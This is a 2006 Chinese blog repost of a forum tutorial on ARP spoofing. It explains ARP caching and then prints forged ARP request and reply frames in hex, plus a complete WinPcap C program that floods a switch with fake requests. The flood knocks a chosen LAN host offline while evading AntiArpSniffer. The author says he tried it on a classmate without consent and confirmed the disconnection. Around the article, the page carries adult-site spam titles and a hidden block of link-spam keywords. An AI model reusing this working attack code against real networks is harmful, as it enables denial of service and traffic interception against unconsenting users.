青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

life is game

(本色)
posts - 11, comments - 4, trackbacks - 0, articles - 0
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

Arp欺騙

Posted on 2006-12-31 18:23 原色 閱讀(316) 評論(0)  編輯 收藏 引用
標 題: arp欺騙DIY
作 者: enolaZ
時 間: 2006-10-20,13:25
鏈 接: http://bbs.pediy.com/showthread.php?threadid=33573

前段時間我們學校的的網絡總是出現掉線的問題,后來說是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,

也想搞清楚這個ARP欺騙到底是個什么東西。于是在網上查了點資料,看了點文檔。也算是DIY了一個出來,而

且可以不被ANTIARPSNIFFER發現的讓對方主機在網絡中死掉。于是把這個小東西貼出來讓大家一起把玩一下。
???在下菜鳥一只,還請高手指教
參考資料:《TCP/IP詳解II:實現》,《WINPCAP?3.0?DOC》,《交換網絡中的嗅探和ARP欺騙》(一位叫RefDom

的大哥很久前寫的帖子)

???一般在局域網中的各主機一般都是連接到同一個交換機(或是HUB),再由交換機連接路由器,路由器再與

相對于該局域網的外部網絡相連。在我們的主機和交換機的內存中,都保留著一張ARP的緩存表(你可以在cmd

下用arp?-a來查看),它記錄著IP地址和MAC地址的對應關系。當外部網絡的一個包傳進來,交換機通過這個包

的IP地址,在他的ARP緩存表中查找其對應的MAC地址(因為交換機是工作在鏈路層的,所以他只會根據MAC地址

來判斷是哪個主機),當找到時,他就把這個包傳給擁有這個MAC地址的主機。當主機向外部網絡通信的時候,

主機查詢自己的ARP緩存表里網關(在這里就是交換機)(這個網關是用IP地址確定的)的MAC地址,然后將包

傳給交換機,交換機一看是它的MAC地址,就把這個包往上傳給路由器。
???我們可以把IP比做姓名,把MAC地址比做聯系方式
???當主機連接上網絡時,他會發送一個廣播(ARP?REQUEST)說:大家好,我是IP?xxx,這是我的MAC地址aaa,

大家以后用他聯系,叫IP?YYY的網關大哥的MAC地址是多少啊?,小弟以后找還要拜托大哥了,記個聯系方式先~
???然后網關IP?YYY告訴IP?XXX說(ARP?REPLY):我就是網關IP?XXX,我已經記下了你IP和你的MAC地址,我的

MAC地址是ccc,以后有事聯系,別客氣~

???現在,假如出現了一些不明原因的錯誤,主機A中的arp緩存表中網關IP?YYY對應的MAC地址不是網關的,而

是另一臺主機B的(BBB),那么當主機A發送了一個包時,他查詢自己的ARP緩存表,把主機B的MAC地址填在了

網關的地方,然后把包發了出去,交換機一看這個MAC地址,心想這不是給我的小弟B的嗎,于是把這個包發給

了內網中的B,而主機A卻不知道這個包已經迷失在了網絡中。
??再假設另一個錯誤,現在主機中的arp緩存表沒錯,而交換機的緩存錯了,主機A的IP對應的MAC地址上填的是

主機B的!,那么當外部網絡的一個發給主機A的包到達交換機的時候,交換機查自己的ARP緩存表,一看這個IP

(A的)對應了自己內網中一個主機的MAC地址?(B的),于是就把這個包傳給了擁有這個MAC地址的B,而不是A


???另外還有一點很重要的是,ARP協議中,無論主機A有沒有REQUEST或是已經收到了REPLY,當再有REPLY來的

時候,它都會記下這個REPLY中的信息,并更新自己的ARP緩存。同樣交換機,也只要是有主機發送ARP?REQUEST

,他就會記下這個信息,并更新自己的ARP緩存,而不會管這個請求是對是錯

???原諒我說了這么多晦澀的話,但這決不是廢話,因為所謂的arp欺騙就是將上面所說的兩個錯誤人為的造成


??第一種欺騙方法:欺騙主機A說,我是網關IP?YYY,我的MAC地址改成BBB了,于是主機A就出現了我們剛說的

第一種情況的錯誤。
??第二種欺騙方法:欺騙交換機說,我是主機A?IP?XXX,我的MAC地址是BBB,于是交換機出現了我們說的第二

種情況的錯誤。

??既然要騙人家,就要讓別人相信你說的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,

這樣別人才會相信你說的假話。
??先來看下ARP包是個什么樣的(TCP/IP詳解II圖21-7有詳細說明,大家可以查查看)
?typedef?struct?ethhdr???????????????//以太網頭部,長度14
{
??unsigned?char?dst[6];???????//目的的MAC地址
??unsigned?char?src[6];???????//源的MAC地址
??unsigned?short?type;????????//幀類型
}ETHHDR,*PETHDHR;

typedef?struct?eth_arphdr???????????//以太網arp字段長度28
{
??unsigned?short?arp_hrd;?????//硬件類型
??unsigned?short?arp_pro;?????//協議類型
??unsigned?char??arp_hln;?????//硬件地址長度(6)
??unsigned?char??arp_pln;?????//協議地址長度(4)
????????unsigned?short?arp_op;??????//回應還是請求
?
??unsigned?char?arp_sha[6];???//發送者MAC地址
??unsigned?long?arp_spa;??????//發送者IP
??unsigned?char?arp_tha[6];???//接收者MAC地址
??unsigned?long?arp_tpa;??????//接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef?struct?arp??????????????????//整個ARP包的結構
{
????ETHHDR?ethhdr;
????ETH_ARPHDR?eth_arp;
}ARP,*PARP;??


??現在我們再來看下arp?request?和arp?reply到底是個什么樣子。
??我打開了winpcap?devlopment?pack中的一個例子程序TestApp,他帶有很簡單的嗅探功能,然后我用
arp?-d?10.10.63.254(我的網關IP地址),清除了我的ARP緩存表中網關的記錄,過一下,我再用arp?-a查看自

己的緩存表,網關的IP,MAC又寫上來了,這說明一次REQUEST和REPLY已經完成。于是,我在TestApp的輸出中

找到了他們的包的記錄:
我的IP地址是10.10.63.37(即0a?0a?3f?25),MAC地址是00?20?ED?89?53?B9
我的網關的IP地址是10.10.63.254(即0a?0a?3f?fe),MAC地址是00?11?5d?ac?e8?00

request的:長度42
????FF?FF?FF?FF?FF?FF?00?20?ED?89?53?B9?08?06?00?01?08?00?06?04?00?01?00?20?ED?89?53?B9?0A?0A?3F?

25?00?00?00?00?00?00?0A?0A?3F?FE
reply的:??長度60
????00?20?ED?89?53?B9?00?11?5D?AC?E8?00?08?06?00?01?08?00?06?04?00?02?00?11?5D?AC?E8?00?0A?0A?3F?

FE?00?20?ED?89?53?B9?0A?0A?3F?25?00?00?00?00?00....(后面都是用0填充)
?
好了根據這兩個包,我們就能構造惡意的REQUEST和REPLY,假如我們要讓一臺內網中的主機C消失,假設他的IP

是10.10.63.123,MAC地址是11?22?33?44?55?66那么我們可以這樣來構造包(我們使用一個偽造的MAC地址,比

如是AA?BB?CC?DD?EE?FF
惡意的request:長度42
????FF?FF?FF?FF?FF?FF?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?01?AA?BB?CC?DD?EE?FF?0A?0A?3F?

7B?00?00?00?00?00?00?0A?0A?3F?FE
當交換機接受了這個請求并更新了自己的ARP緩存后,任何發給10.10.63.123的包都會轉發到MAC地址是
AA?BB?CC?DD?EE?FF的主機(假如這個主機才內網中存在的話)
惡意的reply?:長度60
????11?22?33?44?55?66?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?02?AA?BB?CC?DD?EE?FF?0A
0A?3F?FE?11?22?33?44?55?66?0A?0A?EF?7B?00?00?00?00?00.....(后面用0填充)
當主機接受到了這個包,并更新了自己的ARP緩存后,他所發的任何包都會轉發給擁有這個MAC地址的主機(同

上,這個主機必須存在)。
???現在假如交換機和主機都被欺騙了,于是就出現了這樣的一個情況:主機A和其他主機或是外部網絡的一切

通信就都會傳給這個偽造MAC的主機,而如果這個主機再將這些包轉發給原來的接收方的話,他就成了THE?

MIDDLE?MAN,而這種方式也正是交換機網絡中的嗅探原理了。有興趣的話,大家也可以寫個試試~

???現在回到我們的話題上來,當我們自己的網絡中出現了類似的欺騙的時候,我們應該怎么防范?很多人估計

都會想到用專門的軟件,比如ANTIARPSNIFFER3.0,這個軟件實際是將網關的IP地址和MAC地址的對應關系綁定

,當接受到一個ARP?REPLY時他會查看這個包中發送方的IP和MAC地址,如果IP是網關的,而MAC地址不是,那他

就認為這是個ARP欺騙,于是記錄這個假的MAC地址(當然我們可以偽造,如果你想架禍人的話,也可以填別人

的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能會在某天被一群人抓出去暴打一頓...,為什

么我們生活的世界這么暴力,不能和平解決呢?額...我請大哥們吃頓飯怎么樣??)
???ANTIARPSNIFFER可以有效的阻止發送給主機的欺騙REPLY,但他無法阻止發送給交換機的欺騙REQUEST,因此

也就無法捕獲惡意攻擊者的MAC地址,所以我個人認為站在攻擊的角度,第二種欺騙方式要比第一種來的更加有

效和不易被發現,畢竟誰的會關注自身的安全,卻往往忽視社會整體的安全隱患....要想解決這個問題,就必

須把交換機的ARP緩存設為靜態(即將IP和MAC的對應關系鎖死)(使用ARP?-S)來解決。然而,對于主機使用

DHCP動態獲取IP的網絡(比如我們學校的網絡),由于IP與MAC地址無法在長時間內保持一致,因此交換機的

ARP緩存表必須是可更新的(即動態),于是對于這種網絡,發送欺騙REQUEST給交換機的攻擊方式將是無法解

決的....
???也正因為此,我所編寫的一個測試程序是基于第二種攻擊方式(即發送加的ARP?REQUEST請求給交換機)。

由于是測試程序,我把一切可能出錯的部分都做了最簡化以方便調試,程序相當簡陋,不過仍然很有效。
另外要說明的是,我安裝了WINPCAP?3.0(一個OPEN?SOURCE的網卡驅動項目)和他的開發包。并參考了WINPCAP
DOC中的程序和RefDom大哥在帖子里的程序,當然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實現》第21



/////////////////////////////////////////////////////////////////////////////
//????arp?attacker
//????author:enolaZ
//????e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma?comment(lib,"ws2_32")
#pragma?comment(lib,"packet")

#define?EPT_ARP?0x0806????????????????//定義了一些在構造包的時候要用到的常量
#define?EPT_IP?0x0800
#define?ARP_HARDWARE?0X0001
#define?ARP_REPLY?0x0002
#define?ARP_REQUEST?0x0001

#pragma?pack(push,1)????????????????//在定義結構的時候一頂要用到pack(push,1)和下面的pack(pop)
????????????????????????????????????//否則你構造的結構的長度會有問題

typedef?struct?ethhdr???????????????//以太網頭部,長度14
{
??unsigned?char?dst[6];???????//目的的MAC地址
??unsigned?char?src[6];???????//源的MAC地址
??unsigned?short?type;????????//幀類型
}ETHHDR,*PETHDHR;

typedef?struct?eth_arphdr???????????//以太網arp字段長度28
{
??unsigned?short?arp_hrd;?????//硬件類型
??unsigned?short?arp_pro;?????//協議類型
??unsigned?char??arp_hln;?????//硬件地址長度(6)
??unsigned?char??arp_pln;?????//協議地址長度(4)
????????unsigned?short?arp_op;??????//回應還是請求
?
??unsigned?char?arp_sha[6];???//發送者MAC地址
??unsigned?long?arp_spa;??????//發送者IP
??unsigned?char?arp_tha[6];???//接收者MAC地址
??unsigned?long?arp_tpa;??????//接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef?struct?arp??????????????????//整個ARP包的結構
{
??ETHHDR?ethhdr;
????ETH_ARPHDR?eth_arp;
}ARP,*PARP;

#pragma?pack(pop)

#define?Max_Num_Adapter?10

char????????AdapterList[Max_Num_Adapter][1024];??//定義的網絡適配器列表

int?main?(int?argc,char*?argv[])
{
??LPADAPTER??lpAdapter?=?0;???????????????
??LPPACKET???lpPacket;
??int????????i;
??DWORD??????dwErrorCode;
??WCHAR?????AdapterName[8192];?
??WCHAR?????*temp,*temp1;?????????????????//將AdapterNames的內容轉存到AdapterList時用
??int?????AdapterNum=0;
??ULONG?????AdapterLength;
??ARP?arpPacket;???????????????????????????//定義的包結構實例
??char?szPktBuf[256000];???????????????????//用于存放包的內容


????????printf("%d\n",sizeof(ETHHDR));???????????//這3行是我在測試結構長度時用的,如果沒有使用之
??printf("%d\n",sizeof(ETH_ARPHDR));???????//前說的pack(push,1),pack(pop)長度就成了14,32
??printf("%d\n",sizeof(ARP));??????????????//48,與我們的arp包的格式不符
??i=0;??
??AdapterLength?=?sizeof(AdapterName);
??if(PacketGetAdapterNames((char?*)AdapterName,&AdapterLength)==FALSE)//獲取所有網絡適配器
??{
????printf("Unable?to?retrieve?the?list?of?the?adapters!\n");
????return?-1;
??}
??temp=AdapterName;
??temp1=AdapterName;
??while?((*temp!='\0')||(*(temp-1)!='\0'))??????????//將AdapterNames的內容轉存到AdapterList
??{
????if?(*temp=='\0')?
????{
??????memcpy(AdapterList[i],temp1,(temp-temp1)*2);
??????temp1=temp+1;
??????i++;
????}
????temp++;
??}
????
??AdapterNum=i;
??for?(i=0;i<AdapterNum;i++)
????wprintf(L"\n%d-?%s\n",i+1,AdapterList[i]);?//輸出獲得的所有網絡適配器
??printf("\n");??
??
??lpAdapter?=???PacketOpenAdapter(AdapterList[0]);???//得到對應網絡適配器的_Adapter結構,我??

???????????????????????????????????????????????????????????//就一個當然是0了??
??if?(!lpAdapter?||?(lpAdapter->hFile?==?INVALID_HANDLE_VALUE))
??{
????dwErrorCode=GetLastError();
????printf("Unable?to?open?the?adapter,?Error?Code?:?%lx\n",dwErrorCode);?
????return?-1;
??}??

????????lpPacket=PacketAllocatePacket();???????????????????????//得到一個包的_Packet結構
??if(lpPacket==NULL)
??{
????printf("alloc?lppacket?failed");
????return?-1;
??}

????????ZeroMemory(szPktBuf,sizeof(szPktBuf));????????????????//將包的緩存區清空

??arpPacket.ethhdr.dst[0]=0xff;?????????????????????//開始填充包結構arpPacket
????????arpPacket.ethhdr.dst[1]=0xff;
??arpPacket.ethhdr.dst[2]=0xff;
??arpPacket.ethhdr.dst[3]=0xff;
??arpPacket.ethhdr.dst[4]=0xff;
??arpPacket.ethhdr.dst[5]=0xff;

??arpPacket.ethhdr.src[0]=0x00;?????????????????????//一個偽造的MAC地址
????????arpPacket.ethhdr.src[1]=0x20;
??arpPacket.ethhdr.src[2]=0xce;
??arpPacket.ethhdr.src[3]=0xa8;
??arpPacket.ethhdr.src[4]=0x54;
??arpPacket.ethhdr.src[5]=0x33;

??arpPacket.ethhdr.type=htons(EPT_ARP);
??arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
??arpPacket.eth_arp.arp_pro=htons(EPT_IP);
??arpPacket.eth_arp.arp_hln=6;
??arpPacket.eth_arp.arp_pln=4;
??arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

??arpPacket.eth_arp.arp_sha[0]=0x00;????????????????????//仍然是假的MAC地址
??arpPacket.eth_arp.arp_sha[1]=0x20;
??arpPacket.eth_arp.arp_sha[2]=0xce;
??arpPacket.eth_arp.arp_sha[3]=0xa8;
??arpPacket.eth_arp.arp_sha[4]=0x54;
??arpPacket.eth_arp.arp_sha[5]=0x33;
??arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");???//冒充對象的IP

????????arpPacket.eth_arp.arp_tha[0]=0x00;
??arpPacket.eth_arp.arp_tha[1]=0x00;
??arpPacket.eth_arp.arp_tha[2]=0x00;
??arpPacket.eth_arp.arp_tha[3]=0x00;
??arpPacket.eth_arp.arp_tha[4]=0x00;
??arpPacket.eth_arp.arp_tha[5]=0x00;
??arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");???//網關IP
????????printf("%d\n",sizeof(arpPacket));
??memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));??
??PacketInitPacket(lpPacket,szPktBuf,60);????????????????
????????while(getchar()!='q')?????????????????????????????????????//當輸入為q時結束
??{
????????if(PacketSendPacket(lpAdapter,lpPacket,true)==false)??//不斷發送偽造信息,將目標的正確
??????????????????????????????????????????????????????????????//ARP?REQUEST淹沒
????{
????????printf("error?in?sending?packet");
????????return?-1;
????}
??}
??printf("send?ok");
??PacketFreePacket(lpPacket);????????//一點掃尾的工作
??PacketCloseAdapter(lpAdapter);

????return?1;
}

好了,這個異常簡陋的程序結束了,我對我們內部網的某同學測試過,當我程序啟動不久,去他寢室看,他已

經掉線了,而他的AntiArpSniffer卻沒有報警,呵呵這說明攻擊很成功~。
當然要說明的一點是,這個東西完全是研究學習用,沒有惡意,也希望大家不要隨便對別人做壞事,恩恩,為

了學習研究的目的當然可以做一下實驗,但不要太有破壞性哦~(如果你想被一群憤怒的群眾痛打,那我也沒話

說...)。可憐了我那位實驗對象?...找個機會請他吃個飯吧~


只有注冊用戶登錄后才能發表評論。
網站導航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美大片网址| 亚洲三级网站| 黄色日韩网站| 国产精品乱子久久久久| 午夜精品婷婷| 国产精品久久久久久影院8一贰佰| 欧美成年人网| 欧美国产大片| 欧美日韩在线一区二区| 国产精品九九| 国产日本欧美一区二区三区| 国内精品写真在线观看| 亚洲第一精品电影| 一本色道久久综合狠狠躁篇的优点| 亚洲精品乱码久久久久久按摩观 | 欧美成人69| 亚洲国产日韩欧美在线图片| 99精品视频一区二区三区| 一区二区三区四区在线| 性欧美videos另类喷潮| 欧美91大片| 99国产欧美久久久精品| 亚洲午夜一二三区视频| 亚洲综合国产精品| 久久综合久久综合这里只有精品 | 久久久久九九九| 欧美国产日韩一区二区在线观看 | 亚洲三级性片| 日韩天天综合| 性欧美大战久久久久久久免费观看| 欧美中文字幕视频| 欧美韩国日本一区| 亚洲欧美不卡| 欧美激情视频网站| 国外成人在线视频| 亚洲午夜女主播在线直播| 久久夜色精品国产欧美乱极品| 91久久精品国产91久久性色tv| 亚洲欧美综合v| 欧美精品一区二区三区蜜桃| 狠狠v欧美v日韩v亚洲ⅴ| 亚洲无毛电影| 亚洲国产日韩欧美在线99| 欧美在线观看视频一区二区| 欧美日韩在线亚洲一区蜜芽| 亚洲精品久久久蜜桃| 久久久久国产一区二区三区| 一区二区av在线| 欧美高清视频免费观看| 在线视频亚洲欧美| 欧美日韩国产区一| 亚洲九九精品| 亚洲电影欧美电影有声小说| 久久午夜色播影院免费高清| 欧美精品一区二区三| 1000部精品久久久久久久久| 久久九九国产精品| 午夜在线精品| 国产日韩欧美成人| 欧美一区二区精品| 亚洲女同性videos| 国产精品美女一区二区在线观看| 亚洲视频第一页| 欧美视频免费看| 国产欧美日韩精品一区| 亚洲欧美综合一区| 亚洲欧美国产精品桃花| 国产欧美日本在线| 欧美一区二区三区日韩视频| 亚洲在线免费| 国产精品jizz在线观看美国| 亚洲综合社区| 午夜国产欧美理论在线播放| 亚洲国产精品va在线看黑人动漫| 久久中文精品| 国产精品一区久久久| 欧美怡红院视频一区二区三区| 亚洲一区视频在线| 欧美三区在线视频| 亚洲欧美成人一区二区三区| 亚洲欧洲av一区二区| 国产综合色精品一区二区三区| 免费亚洲视频| 欧美精品一区二区三区在线看午夜| 日韩视频―中文字幕| 一本色道久久综合亚洲精品高清 | 一本色道久久| 亚洲图片激情小说| 亚洲视频欧美在线| 国产精品99久久久久久人| 一本色道**综合亚洲精品蜜桃冫 | 一区二区三欧美| 亚洲视频在线观看| 一区二区三区在线免费视频| 在线亚洲电影| 国产一区二区三区在线观看免费视频| 久久精品一二三| 欧美大胆成人| 在线亚洲+欧美+日本专区| 亚洲欧美另类在线观看| 亚洲福利在线视频| 99伊人成综合| 国产日韩三区| 亚洲国产91| 国产精品一区二区久久| 亚洲大胆人体视频| 国产精品一卡二| 最近中文字幕日韩精品| 国产亚洲精品一区二区| 亚洲精品一区二区网址 | 欧美日韩精品免费| 久久综合亚州| 国产精品美女诱惑| 亚洲精品老司机| 欧美在线视频观看| 亚洲小视频在线| 免费成人av| 久久人人精品| 国产九九精品| 午夜日韩在线观看| 午夜精品一区二区三区在线视| 亚洲卡通欧美制服中文| 久久久久久久91| 久久精品国产99精品国产亚洲性色 | 欧美韩日高清| 久久久国产精品亚洲一区| 国产精品福利在线观看| 亚洲国产日韩欧美| 国产一区二区三区在线免费观看| 亚洲日本久久| 亚洲三级影片| 蜜月aⅴ免费一区二区三区 | 亚洲国产精品电影| 欧美一级电影久久| 亚洲一区在线免费| 狼狼综合久久久久综合网| 欧美一区二区三区四区夜夜大片| 欧美日韩精品一区视频 | 欧美一区二区视频观看视频| 欧美日韩视频在线一区二区| 亚洲乱码日产精品bd| 在线视频日韩| 欧美天天在线| 一区二区三区精品| 欧美屁股在线| 在线亚洲免费视频| 午夜精品久久久久久久久久久| 这里只有精品视频| 亚洲在线一区| 欧美日韩中文字幕精品| 夜夜爽www精品| 国模私拍一区二区三区| 亚洲影院免费观看| 久久精品国产综合精品| 国产精品综合不卡av| 亚洲一区国产视频| 欧美在线观看www| 国产精品三级久久久久久电影| 亚洲欧美激情精品一区二区| 欧美在线日韩在线| 在线观看欧美亚洲| 免费观看成人| 欧美激情bt| 亚洲黄色av一区| 欧美日韩在线不卡| 午夜在线视频一区二区区别| 久久精品国产一区二区三区| 狠狠久久婷婷| 欧美日韩天天操| 午夜精品久久久久久久| 久久亚洲国产精品一区二区| 亚洲黄色有码视频| 欧美日韩精品三区| 欧美一区深夜视频| 亚洲国产精品一区| 西西人体一区二区| 国模私拍一区二区三区| 欧美巨乳在线| 亚洲色图综合久久| 免费成人av在线| 午夜伦欧美伦电影理论片| 国产一区二区三区高清在线观看| 久久国产精品久久久| 亚洲精品日韩综合观看成人91| 欧美日韩一区综合| 久久精品亚洲热| 在线视频欧美一区| 91久久精品日日躁夜夜躁国产| 亚洲欧美视频在线| 亚洲国产福利在线| 亚洲免费在线精品一区| 欧美一区二视频在线免费观看| 亚洲午夜精品久久久久久app| 国内精品久久久久影院薰衣草| 欧美日韩国产一区精品一区 | 欧美成人精品在线| 亚洲永久在线观看| 亚洲精品综合精品自拍| 在线观看免费视频综合| 亚洲美女精品成人在线视频|